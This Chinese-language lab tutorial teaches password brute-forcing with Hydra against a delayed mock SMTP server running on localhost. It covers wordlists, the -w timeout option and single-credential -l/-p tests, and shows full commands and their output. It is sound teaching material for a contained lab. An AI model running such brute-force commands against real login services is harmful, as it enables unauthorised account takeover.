介绍
在本实验中,你将学习如何微调 Hydra 的响应等待时间,以应对可能存在缓慢或不可靠响应的服务攻击。我们将使用 SMTP 作为示例来演示这些概念。
你将首先使用 Python 设置一个简单的 SMTP 服务器,并使用模拟的延迟响应来模拟缓慢或不可靠的网络环境。然后,你将使用 Hydra 攻击该服务器,首先使用其默认的等待时间设置,随后使用 -w 选项调整等待时间,观察其影响。最后,你将探索 -l 和 -p 选项,用于直接指定单一凭证,并使用单个线程进行测试。
设置延迟响应的 SMTP 服务器
本步骤中,你将使用 Python 设置一个简单的 SMTP 服务器。该服务器会在其响应中引入延迟,模拟缓慢或不可靠的服务。此设置对于理解 Hydra 的等待时间设置如何影响其性能至关重要。
首先,你需要在你的 ~/project 目录中创建一个名为 delayed_smtp.py 的 Python 脚本。该脚本将充当你的 SMTP 服务器。
打开 nano 文本编辑器来创建此文件:
nano ~/project/delayed_smtp.py
现在,将以下 Python 代码复制并粘贴到 delayed_smtp.py 文件中:
import socket
import time
import threading
def handle_client(client_socket):
try:
## 发送问候
client_socket.send(b"220 localhost ESMTP\r\n")
while True:
data = client_socket.recv(1024).decode('utf-8').strip()
if not data:
break
if data.upper().startswith('EHLO') or data.upper().startswith('HELO'):
client_socket.send(b"250-localhost\r\n250-AUTH LOGIN\r\n250 OK\r\n")
elif data.upper().startswith('AUTH LOGIN'):
client_socket.send(b"334 VXNlcm5hbWU6\r\n") ## 用户名:
client_socket.recv(1024) ## 接收用户名
## 添加 5 秒延迟
time.sleep(5)
client_socket.send(b"334 UGFzc3dvcmQ6\r\n") ## 密码:
client_socket.recv(1024) ## 接收密码
client_socket.send(b"235 Authentication successful\r\n")
elif data.upper().startswith('QUIT'):
client_socket.send(b"221 Bye\r\n")
break
else:
client_socket.send(b"250 OK\r\n")
except:
pass
finally:
client_socket.close()
def run_server():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('127.0.0.1', 1025))
server.listen(5)
print("SMTP 服务器已启动,监听端口 1025")
while True:
try:
client, addr = server.accept()
thread = threading.Thread(target=handle_client, args=(client,))
thread.daemon = True
thread.start()
except:
break
if __name__ == '__main__':
run_server()
这个简化的 Python 脚本创建了一个基本的 SMTP 服务器,监听端口 1025。服务器支持使用 LOGIN 方法进行 SMTP 身份验证,这是 Hydra 所期望的。关键特性是身份验证处理程序中的 time.sleep(5) 行,它在身份验证过程中引入 5 秒延迟,以模拟缓慢的网络响应。
粘贴代码后,保存文件并退出 nano(按 Ctrl + X,然后 Y,再按 Enter)。
接下来,你需要在后台运行此 Python 脚本。使用 nohup 确保即使你关闭终端会话,脚本也能继续运行。你还会将输出重定向到名为 delayed_smtp.log 的日志文件,以便进行监控。
在你的终端中执行以下命令:
nohup python3 ~/project/delayed_smtp.py > ~/project/delayed_smtp.log 2>&1 &
此命令启动 SMTP 服务器。末尾的 & 将进程发送到后台,允许你继续使用你的终端。
为了确认 SMTP 服务器正在运行并监听端口 1025,你可以使用 ss 命令。ss 命令是一个用于调查套接字的工具。
ss -tulnp | grep 1025
你应该看到类似于这样的输出,表明服务器正在监听端口 1025:
tcp LISTEN 0 4096 0.0.0.0:1025 0.0.0.0:* users:(("python3",pid=XXXX,fd=X))
pid=XXXX 将显示你的 Python 脚本的实际进程 ID。这证实了你的延迟 SMTP 服务器现在已激活并准备进行测试。
此输出确认 Python SMTP 服务器已成功运行并监听端口 1025。LISTEN 状态表示服务器已准备好接受连接,而 python3 进程名称确认我们的脚本正在运行。内置于此服务器中的 5 秒延迟将帮助我们理解 Hydra 的等待时间设置如何影响攻击性能。

使用默认等待时间的 Hydra 执行
本步骤中,你将使用你设置的延迟 SMTP 服务器运行 Hydra 攻击。你将使用 Hydra 的默认等待时间设置,即 10 秒。这将演示当目标服务响应延迟在 Hydra 的默认超时时间内时,Hydra 的行为。
首先,你需要为 Hydra 创建用户名列表和密码列表。这些文件将位于你的 ~/project 目录中。
创建 users.txt 文件:
nano ~/project/users.txt
将以下用户名添加到 users.txt 文件中:
testuser
admin
user
保存文件并退出 nano(Ctrl + X, Y, Enter)。
接下来,创建 passwords.txt 文件:
nano ~/project/passwords.txt
将以下密码添加到 passwords.txt 文件中:
password
123456
test
保存文件并退出 nano(Ctrl + X, Y, Enter)。
现在,你将执行 Hydra。你将攻击运行在 localhost (127.0.0.1) 端口 1025 的 SMTP 服务器。你将使用 smtp 模块,你的 users.txt 列表和 passwords.txt 列表。-t 1 选项确保 Hydra 只使用一个线程,这使得输出更容易跟踪。
hydra -L ~/project/users.txt -P ~/project/passwords.txt -vV -t 1 127.0.0.1 smtp -s 1025
让我们分解这个命令:
hydra: 调用 Hydra 工具的命令。-L ~/project/users.txt: 指定包含用户名列表的文件路径。-P ~/project/passwords.txt: 指定包含密码列表的文件路径。-vV: 启用详细模式,显示有关登录尝试的详细信息,包括成功和失败的尝试。-t 1: 将并行任务(线程)的数量设置为 1。这对于按顺序观察每个尝试很有用。127.0.0.1: 目标 IP 地址,即你的本地机器。smtp: Hydra 应该用于攻击的服务模块,在本例中为 SMTP。-s 1025: 指定目标服务的端口号,对于你的延迟 SMTP 服务器为1025。
由于你的 SMTP 服务器有 5 秒延迟,而 Hydra 的默认等待时间为 10 秒,Hydra 应该在不超时的情况下成功完成每个尝试。你将看到类似于以下的输出,显示 Hydra 尝试每种用户名和密码组合:
labex:project/ $ hydra -L ~/project/users.txt -P ~/project/passwords.txt -vV -t 1 127.0.0.1 smtp -s 1025
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - 请勿在军事或秘密服务组织或用于非法目的中使用(这并非强制性,这些***无论如何都会忽略法律和道德)。
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-29 13:47:03
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 1 task per 1 server, overall 1 task, 9 login tries (l:3/p:3), ~9 tries per task
[DATA] attacking smtp://127.0.0.1:1025/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "testuser" - pass "password" - 1 of 9 [child 0] (0/0)
[VERBOSE] using SMTP LOGIN AUTH mechanism
[1025][smtp] host: 127.0.0.1 login: testuser password: password
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - 4 of 9 [child 0] (0/0)
[VERBOSE] using SMTP LOGIN AUTH mechanism
[1025][smtp] host: 127.0.0.1 login: admin password: password
[ATTEMPT] target 127.0.0.1 - login "user" - pass "password" - 7 of 9 [child 0] (0/0)
[VERBOSE] using SMTP LOGIN AUTH mechanism
[1025][smtp] host: 127.0.0.1 login: user password: password
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-29 13:47:20
此输出演示了 Hydra 在具有 5 秒延迟的服务器上使用其默认 10 秒等待时间的工作情况。请注意,所有尝试都在没有超时的情况下成功完成,这表明默认等待时间对于此场景来说足够。[DATA] 行显示总共 9 次尝试(3 个用户 × 3 个密码),每个成功的登录都用 [1025][smtp] 标记,指示端口和服务类型。
使用 -w 参数调整等待时间
本步骤中,你将使用 -w 选项显式设置 Hydra 的等待时间。虽然默认等待时间(10 秒)足以应对我们 5 秒的延迟,但理解和控制此参数对于使 Hydra 适应各种网络条件和服务器行为至关重要。
你将使用与上一步骤中创建的相同用户名和密码列表(users.txt 和 passwords.txt)。
现在,再次执行 Hydra,这次显式添加 -w 选项。此命令的行为与之前的命令相同,因为 10 秒是 Hydra 的默认等待时间,但它演示了如何使用该选项。
hydra -L ~/project/users.txt -P ~/project/passwords.txt -vV -t 1 -w 10 127.0.0.1 smtp -s 1025
以下是命令的分解,重点突出关键区别:
hydra: Hydra 命令。-L ~/project/users.txt: 指定用户名列表文件。-P ~/project/passwords.txt: 指定密码列表文件。-vV: 启用详细模式。-t 1: 将线程数设置为 1。-w 10: 显式将等待时间(超时)设置为 10 秒。 这意味着 Hydra 将等待最多 10 秒的目标服务响应,然后再将尝试视为失败。127.0.0.1: 目标 IP 地址。smtp: 服务模块。-s 1025: 指定端口号。
输出将与上一步类似,因为 10 秒的等待时间足以应对你的 SMTP 服务器的 5 秒延迟。本步骤主要用于说明 -w 选项的使用。
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - 请勿在军事或秘密服务组织或用于非法目的中使用(这并非强制性,这些***无论如何都会忽略法律和道德)。
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-29 14:02:49
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 1 task per 1 server, overall 1 task, 9 login tries (l:3/p:3), ~9 tries per task
[DATA] attacking smtp://127.0.0.1:1025/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "testuser" - pass "password" - 1 of 9 [child 0] (0/0)
[VERBOSE] using SMTP LOGIN AUTH mechanism
[1025][smtp] host: 127.0.0.1 login: testuser password: password
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - 4 of 9 [child 0] (0/0)
[VERBOSE] using SMTP LOGIN AUTH mechanism
[1025][smtp] host: 127.0.0.1 login: admin password: password
[ATTEMPT] target 127.0.0.1 - login "user" - pass "password" - 7 of 9 [child 0] (0/0)
[VERBOSE] using SMTP LOGIN AUTH mechanism
[1025][smtp] host: 127.0.0.1 login: user password: password
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-29 14:03:05
此输出演示了显式使用 -w 10 将等待时间设置为 10 秒,产生与默认设置相同的结果。攻击成功完成,在 16 秒的时间范围内(14:02:49 至 14:03:05)找到了所有 3 个有效密码。本步骤展示了如何显式控制超时设置,这在处理响应时间超过默认 10 秒限制的服务器时变得至关重要。
使用 -l 和 -p 参数测试单个凭据
本步骤将介绍如何使用 Hydra 的 -l 和 -p 选项测试单个用户名和密码组合。这种方法允许你直接在命令行中指定单个凭证对,而不是使用单独的文件。这对于快速测试特定凭证对,而无需创建或修改文件,尤其有用。
你将继续使用你在第一步中设置的延迟 SMTP 服务器。
执行以下 Hydra 命令,使用 -l 选项指定用户名,和 -p 选项指定密码:
hydra -t 1 -l testuser -p password -vV 127.0.0.1 smtp -s 1025
让我们分解这个命令:
hydra: Hydra 命令。-t 1: 将线程数设置为 1,确保清晰的顺序尝试。-l testuser: 指定要测试的用户名。-l(小写 L) 选项用于单个用户名。-p password: 指定要测试的密码。-p选项用于单个密码。-vV: 启用详细模式。127.0.0.1: 目标 IP 地址。smtp: 服务模块。-s 1025: 指定端口号。
在这种情况下,Hydra 将仅尝试使用单个凭证对 testuser:password 进行登录。由于我们的 SMTP 服务器为了演示目的接受任何凭证,Hydra 将报告登录成功。
你将看到类似于这样的输出:
labex:project/ $ hydra -t 1 -l testuser -p password -vV 127.0.0.1 smtp -s 1025
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - 请勿在军事或秘密服务组织或用于非法目的中使用(这并非强制性,这些***无论如何都会忽略法律和道德)。
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-29 13:50:25
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking smtp://127.0.0.1:1025/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "testuser" - pass "password" - 1 of 1 [child 0] (0/0)
[VERBOSE] using SMTP LOGIN AUTH mechanism
[1025][smtp] host: 127.0.0.1 login: testuser password: password
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-29 13:50:30
此输出演示了使用 -l 和 -p 选项测试单个凭证对,而不是使用词表文件。请注意,[DATA] 行现在显示 1 login try (l:1/p:1),这表明仅测试一个用户名和一个密码。当你有特定凭证要验证时,这种方法对于有针对性的测试非常有效,并且由于只有一个尝试而不是九个尝试,因此完成速度要快得多。
总结
在本实验中,你学习了如何微调 Hydra 的行为,以应对响应缓慢或不可靠的服务。
你首先使用 Python 脚本设置了一个模拟的慢速 SMTP 服务器,该服务器在响应中引入了 5 秒的延迟。这使你能够创建一个受控的环境来测试 Hydra 的超时设置。然后,你运行 Hydra 对该服务器进行测试,首先观察其默认行为,然后使用 -w 选项显式调整等待时间。最后,你探索了 -l 和 -p 选项,用于直接在命令行中指定单个凭证,这对于快速、有针对性的测试非常有用。
本实验为你提供了在各种网络条件下配置 Hydra 的实践经验,增强了你执行有效暴力破解攻击的能力。


